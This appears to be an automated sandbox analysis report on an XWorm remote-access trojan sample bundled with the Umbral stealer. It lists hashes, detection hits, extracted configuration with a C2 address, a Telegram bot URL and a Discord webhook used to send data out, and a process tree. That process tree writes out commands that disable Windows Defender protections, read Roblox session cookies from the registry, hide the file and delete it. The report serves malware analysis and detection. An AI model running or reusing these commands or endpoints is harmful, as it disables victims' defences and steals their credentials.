Analysis
-
max time kernel
121s -
max time network
123s -
platform
windows7_x64 -
resource
win7-20250207-en -
resource tags
arch:x64arch:x86image:win7-20250207-enlocale:en-usos:windows7-x64system -
submitted
12-02-2025 02:16
Static task
static1
Behavioral task
behavioral1
Sample
XwormRAT-38944e7579d5fcd2263e7212954619c496d4ff087360b8db6e190e1bdf5358ce.exe
Resource
win7-20250207-en
General
-
Target
XwormRAT-38944e7579d5fcd2263e7212954619c496d4ff087360b8db6e190e1bdf5358ce.exe
-
Size
322KB
-
MD5
710c071c63a8d8d1cd493c81d34834dc
-
SHA1
050c535a206ac05550e3670ef465efe83585a76b
-
SHA256
38944e7579d5fcd2263e7212954619c496d4ff087360b8db6e190e1bdf5358ce
-
SHA512
af1753c06c22178d1362ab964e445dbe49c5cf3c83ebceabf21b9a7c4cc30efbc66b3a28c4d4f90efba081faba84047edb190d2f05abe416ebf1a1b6c36aad13
-
SSDEEP
6144:PhPKqm0guLkkFZFjbnSrOsrfUVCmveA3E6Chow8rtryB8YROu+oSxOFDxXMR17:5NnnfZTSHfUV7/E6twurFG+oS4FDxXMP
Malware Config
Extracted
xworm
147.185.221.19:18254
-
Install_directory
%Temp%
-
install_file
SecurityHost.exe
-
telegram
https://api.telegram.org/bot7873282441:AAFVeYQ8VZCC3gF8qlaTYIz4N-gMEL21mHI/sendMessage?chat_id=7952080340
Extracted
umbral
https://discord.com/api/webhooks/1315319389234663454/VqoRw_khZ1Mydiisut3PyEHlF4iC_sCu736uMNVyatDDeHcTWNwsEKe2PRLuH4NrOZdd
Signatures
-
Detect Umbral payload 2 IoCs
resource yara_rule behavioral1/memory/2868-12-0x0000000000070000-0x00000000000B0000-memory.dmp family_umbral behavioral1/files/0x0008000000014723-11.dat family_umbral -
Detect Xworm Payload 2 IoCs
resource yara_rule behavioral1/files/0x00070000000120ea-5.dat family_xworm behavioral1/memory/2880-13-0x00000000002C0000-0x00000000002DA000-memory.dmp family_xworm -
Umbral family
-
Xworm family
-
pid Process 2240 powershell.exe 2676 powershell.exe 2424 powershell.exe 2436 powershell.exe -
Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts SystemHost.exe -
Executes dropped EXE 2 IoCs
pid Process 2880 1.16.5.exe 2868 SystemHost.exe -
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 8 discord.com 9 discord.com -
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 4 ip-api.com 5 ip-api.com -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 1084 cmd.exe 2528 PING.EXE -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 2044 wmic.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 2528 PING.EXE -
Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 2436 powershell.exe 2240 powershell.exe 2676 powershell.exe 3016 powershell.exe 2424 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2880 1.16.5.exe Token: SeDebugPrivilege 2868 SystemHost.exe Token: SeDebugPrivilege 2436 powershell.exe Token: SeDebugPrivilege 2240 powershell.exe Token: SeDebugPrivilege 2676 powershell.exe Token: SeDebugPrivilege 3016 powershell.exe Token: SeIncreaseQuotaPrivilege 1648 wmic.exe Token: SeSecurityPrivilege 1648 wmic.exe Token: SeTakeOwnershipPrivilege 1648 wmic.exe Token: SeLoadDriverPrivilege 1648 wmic.exe Token: SeSystemProfilePrivilege 1648 wmic.exe Token: SeSystemtimePrivilege 1648 wmic.exe Token: SeProfSingleProcessPrivilege 1648 wmic.exe Token: SeIncBasePriorityPrivilege 1648 wmic.exe Token: SeCreatePagefilePrivilege 1648 wmic.exe Token: SeBackupPrivilege 1648 wmic.exe Token: SeRestorePrivilege 1648 wmic.exe Token: SeShutdownPrivilege 1648 wmic.exe Token: SeDebugPrivilege 1648 wmic.exe Token: SeSystemEnvironmentPrivilege 1648 wmic.exe Token: SeRemoteShutdownPrivilege 1648 wmic.exe Token: SeUndockPrivilege 1648 wmic.exe Token: SeManageVolumePrivilege 1648 wmic.exe Token: 33 1648 wmic.exe Token: 34 1648 wmic.exe Token: 35 1648 wmic.exe Token: SeIncreaseQuotaPrivilege 1648 wmic.exe Token: SeSecurityPrivilege 1648 wmic.exe Token: SeTakeOwnershipPrivilege 1648 wmic.exe Token: SeLoadDriverPrivilege 1648 wmic.exe Token: SeSystemProfilePrivilege 1648 wmic.exe Token: SeSystemtimePrivilege 1648 wmic.exe Token: SeProfSingleProcessPrivilege 1648 wmic.exe Token: SeIncBasePriorityPrivilege 1648 wmic.exe Token: SeCreatePagefilePrivilege 1648 wmic.exe Token: SeBackupPrivilege 1648 wmic.exe Token: SeRestorePrivilege 1648 wmic.exe Token: SeShutdownPrivilege 1648 wmic.exe Token: SeDebugPrivilege 1648 wmic.exe Token: SeSystemEnvironmentPrivilege 1648 wmic.exe Token: SeRemoteShutdownPrivilege 1648 wmic.exe Token: SeUndockPrivilege 1648 wmic.exe Token: SeManageVolumePrivilege 1648 wmic.exe Token: 33 1648 wmic.exe Token: 34 1648 wmic.exe Token: 35 1648 wmic.exe Token: SeIncreaseQuotaPrivilege 1564 wmic.exe Token: SeSecurityPrivilege 1564 wmic.exe Token: SeTakeOwnershipPrivilege 1564 wmic.exe Token: SeLoadDriverPrivilege 1564 wmic.exe Token: SeSystemProfilePrivilege 1564 wmic.exe Token: SeSystemtimePrivilege 1564 wmic.exe Token: SeProfSingleProcessPrivilege 1564 wmic.exe Token: SeIncBasePriorityPrivilege 1564 wmic.exe Token: SeCreatePagefilePrivilege 1564 wmic.exe Token: SeBackupPrivilege 1564 wmic.exe Token: SeRestorePrivilege 1564 wmic.exe Token: SeShutdownPrivilege 1564 wmic.exe Token: SeDebugPrivilege 1564 wmic.exe Token: SeSystemEnvironmentPrivilege 1564 wmic.exe Token: SeRemoteShutdownPrivilege 1564 wmic.exe Token: SeUndockPrivilege 1564 wmic.exe Token: SeManageVolumePrivilege 1564 wmic.exe Token: 33 1564 wmic.exe -
Suspicious use of WriteProcessMemory 42 IoCs
description pid Process procid_target PID 1820 wrote to memory of 2880 1820 XwormRAT-38944e7579d5fcd2263e7212954619c496d4ff087360b8db6e190e1bdf5358ce.exe 30 PID 1820 wrote to memory of 2880 1820 XwormRAT-38944e7579d5fcd2263e7212954619c496d4ff087360b8db6e190e1bdf5358ce.exe 30 PID 1820 wrote to memory of 2880 1820 XwormRAT-38944e7579d5fcd2263e7212954619c496d4ff087360b8db6e190e1bdf5358ce.exe 30 PID 1820 wrote to memory of 2868 1820 XwormRAT-38944e7579d5fcd2263e7212954619c496d4ff087360b8db6e190e1bdf5358ce.exe 31 PID 1820 wrote to memory of 2868 1820 XwormRAT-38944e7579d5fcd2263e7212954619c496d4ff087360b8db6e190e1bdf5358ce.exe 31 PID 1820 wrote to memory of 2868 1820 XwormRAT-38944e7579d5fcd2263e7212954619c496d4ff087360b8db6e190e1bdf5358ce.exe 31 PID 2868 wrote to memory of 2752 2868 SystemHost.exe 32 PID 2868 wrote to memory of 2752 2868 SystemHost.exe 32 PID 2868 wrote to memory of 2752 2868 SystemHost.exe 32 PID 2868 wrote to memory of 2436 2868 SystemHost.exe 34 PID 2868 wrote to memory of 2436 2868 SystemHost.exe 34 PID 2868 wrote to memory of 2436 2868 SystemHost.exe 34 PID 2868 wrote to memory of 2240 2868 SystemHost.exe 36 PID 2868 wrote to memory of 2240 2868 SystemHost.exe 36 PID 2868 wrote to memory of 2240 2868 SystemHost.exe 36 PID 2868 wrote to memory of 2676 2868 SystemHost.exe 39 PID 2868 wrote to memory of 2676 2868 SystemHost.exe 39 PID 2868 wrote to memory of 2676 2868 SystemHost.exe 39 PID 2868 wrote to memory of 3016 2868 SystemHost.exe 41 PID 2868 wrote to memory of 3016 2868 SystemHost.exe 41 PID 2868 wrote to memory of 3016 2868 SystemHost.exe 41 PID 2868 wrote to memory of 1648 2868 SystemHost.exe 43 PID 2868 wrote to memory of 1648 2868 SystemHost.exe 43 PID 2868 wrote to memory of 1648 2868 SystemHost.exe 43 PID 2868 wrote to memory of 1564 2868 SystemHost.exe 45 PID 2868 wrote to memory of 1564 2868 SystemHost.exe 45 PID 2868 wrote to memory of 1564 2868 SystemHost.exe 45 PID 2868 wrote to memory of 2052 2868 SystemHost.exe 47 PID 2868 wrote to memory of 2052 2868 SystemHost.exe 47 PID 2868 wrote to memory of 2052 2868 SystemHost.exe 47 PID 2868 wrote to memory of 2424 2868 SystemHost.exe 49 PID 2868 wrote to memory of 2424 2868 SystemHost.exe 49 PID 2868 wrote to memory of 2424 2868 SystemHost.exe 49 PID 2868 wrote to memory of 2044 2868 SystemHost.exe 51 PID 2868 wrote to memory of 2044 2868 SystemHost.exe 51 PID 2868 wrote to memory of 2044 2868 SystemHost.exe 51 PID 2868 wrote to memory of 1084 2868 SystemHost.exe 53 PID 2868 wrote to memory of 1084 2868 SystemHost.exe 53 PID 2868 wrote to memory of 1084 2868 SystemHost.exe 53 PID 1084 wrote to memory of 2528 1084 cmd.exe 55 PID 1084 wrote to memory of 2528 1084 cmd.exe 55 PID 1084 wrote to memory of 2528 1084 cmd.exe 55 -
Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 2752 attrib.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\XwormRAT-38944e7579d5fcd2263e7212954619c496d4ff087360b8db6e190e1bdf5358ce.exe"C:\Users\Admin\AppData\Local\Temp\XwormRAT-38944e7579d5fcd2263e7212954619c496d4ff087360b8db6e190e1bdf5358ce.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1820 -
C:\Users\Admin\AppData\Local\Temp\1.16.5.exe"C:\Users\Admin\AppData\Local\Temp\1.16.5.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2880
-
-
C:\Users\Admin\AppData\Local\Temp\SystemHost.exe"C:\Users\Admin\AppData\Local\Temp\SystemHost.exe"2⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2868 -
C:\Windows\system32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\SystemHost.exe"3⤵
- Views/modifies file attributes
PID:2752
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\SystemHost.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2436
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 23⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2240
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2676
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3016
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1648
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1564
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid3⤵PID:2052
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:2424
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name3⤵
- Detects videocard installed
PID:2044
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\SystemHost.exe" && pause3⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:1084 -
C:\Windows\system32\PING.EXEping localhost4⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:2528
-
-
-
Network
MITRE ATT&CK Enterprise v15
Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
80KB
MD50154c502a44c2d5f9b4d5ccbbb00dd10
SHA1d7e0d7311c345dfd8d9b866d0cc9947da75ef194
SHA25675d7a768d90e198c91aa274d24ff8f08ba95692b888d314aaf6278bb9a175027
SHA512f237bbf5d80712ec3627a618dcd52bb75c379b8e5d3a9f4f10e09cabdb8dfb61a64ec6663b853b607f4add930dd19f249dfdce2b76240820bd3d5cd4ae555e09
-
Filesize
231KB
MD54855e5d98bb0ba10ce6acafaee9a9604
SHA18ef1a61d89cba2fd51460af7a902150e7066881a
SHA256c51f4e4068a1ad51be55c670091bcddf525e4c3e4a43da4d1c1ab9fe9ac8f1e0
SHA51239240a196a462be0c1fbf45d5d3a755767fef8d89eb4b63bcff30062be746a1237e47cb6fd4d0e980b8786416d5310bff4a40d34d7bcbc447a0c0110a31d3254
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD5be656c3306b85f3f203f709c89b33d88
SHA180f4cea74808f973a0e2fa39c80827234bf53a98
SHA256f7793f66ccd4d05d0298d0c1543616a4c4b7c6986305b65b0bc2d2ad6eabb8cc
SHA5123316921f3c9d054dc896ca1dc1c4804c46fb6c2c2d75f4750dc30992c37e1cd47477107d5ace62c66288cb9583fed919a68c4e62ac07acb53cd46c7fc54e50a3